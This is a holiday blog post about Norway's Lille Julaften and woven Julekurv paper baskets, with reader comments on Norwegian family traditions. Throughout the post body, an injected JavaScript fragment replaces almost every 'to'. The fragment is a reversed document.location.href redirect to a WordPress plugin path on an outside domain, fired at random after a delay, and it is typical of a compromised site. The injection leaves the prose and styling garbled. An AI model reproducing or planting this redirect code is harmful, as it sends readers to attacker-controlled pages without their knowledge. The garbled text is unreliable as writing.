Dear Diva Readers,
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 80px; line-height: 70px; padding-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 1px; padding-right: 5px; font-family: times;”>Did you know that in Norway on the day before Christmas Eve there is a holiday? It’s called Lille Julaften – Little Christmas Eve. When I asked a Norwegian friend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to explain this holiday her response was simple, “It’s the day we celebrate the start of the celebration!” To me that sounded like a brilliant excuse for a party and so I’ve decided in my house we’ll start the celebration here early toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too!
Traditionally this was the day when Norwegians finalized their preparations for Christmas Eve. Families decorate their Christmas trees with handmade paper Christmas baskets called Julekurv which are woven toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together with red and green paper and then filled with fruits, candy, and nuts. Intrigued by the idea, I decided it was the perfect tradition toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to learn toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do with my nieces and nephews – so this year we’re making our own Christmas baskets with this easy step-by-step primer.
We’ll then take our home-made baskets and use them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to decorate my sister’s Christmas tree!
Speaking of Norwegian traditions, did you know that the famous Christmas tree in London’s Trafalgar Square has been an annual gift toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the people of London by the city of Oslo each year since 1947 as a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}token of gratitude for British support of Norway during the Second World War? What a wonderful way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to celebrate a friendship!
Photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tograph above courtesy of Livin’ Sponge blog
Glaedelig Lille Julaften!
The Antiques Diva®
Amalia, so glad you enjoyed this post!!!! And what a beautiful dinner you must have!!!
I’m so excited you wrote this! My family has celebrated Lille Julaften forever! I don’t know where this tradition started (Santa Lucia?) but we dress in mostly white, and make an all-white dinner (scalloped potatos, cauliflower wreath, lefse, lutefisk, pork tenderloin, etc.), light a ton of candles and all the Christmas lights and sing Christmas carols! For us, it’s an equally big event as Christmas Eve and Christmas Day, and my friends and employers have always thought I was making it up. Thanks for doing a little research and posting this up! Keep up the good work, AD&C!
(Also, John, my ancestors were from Bergen too…we’re probably related.) 🙂
My goodness – I love Norwegian pastries! Now, you’ve given me a craving!
I got an e-mail yesterday from a cousin on the Norwegian side of the family (now living in Mobile, Ala.), with the message “glaedelig lille julaften.” No pastries, though.
John – how fun to hear from you 1 year later after your first comment here on the Diva site!!Sending warm holiday wishes your way!
Toma aka The Antiques Diva
Thank you for this. My grandparents, born in Bergen, exchanged the greeting “glaedelig lille Julaften” with everyone they met on December 23 every year. That and the delicious Norwegian pastries they made are among my fondest memories.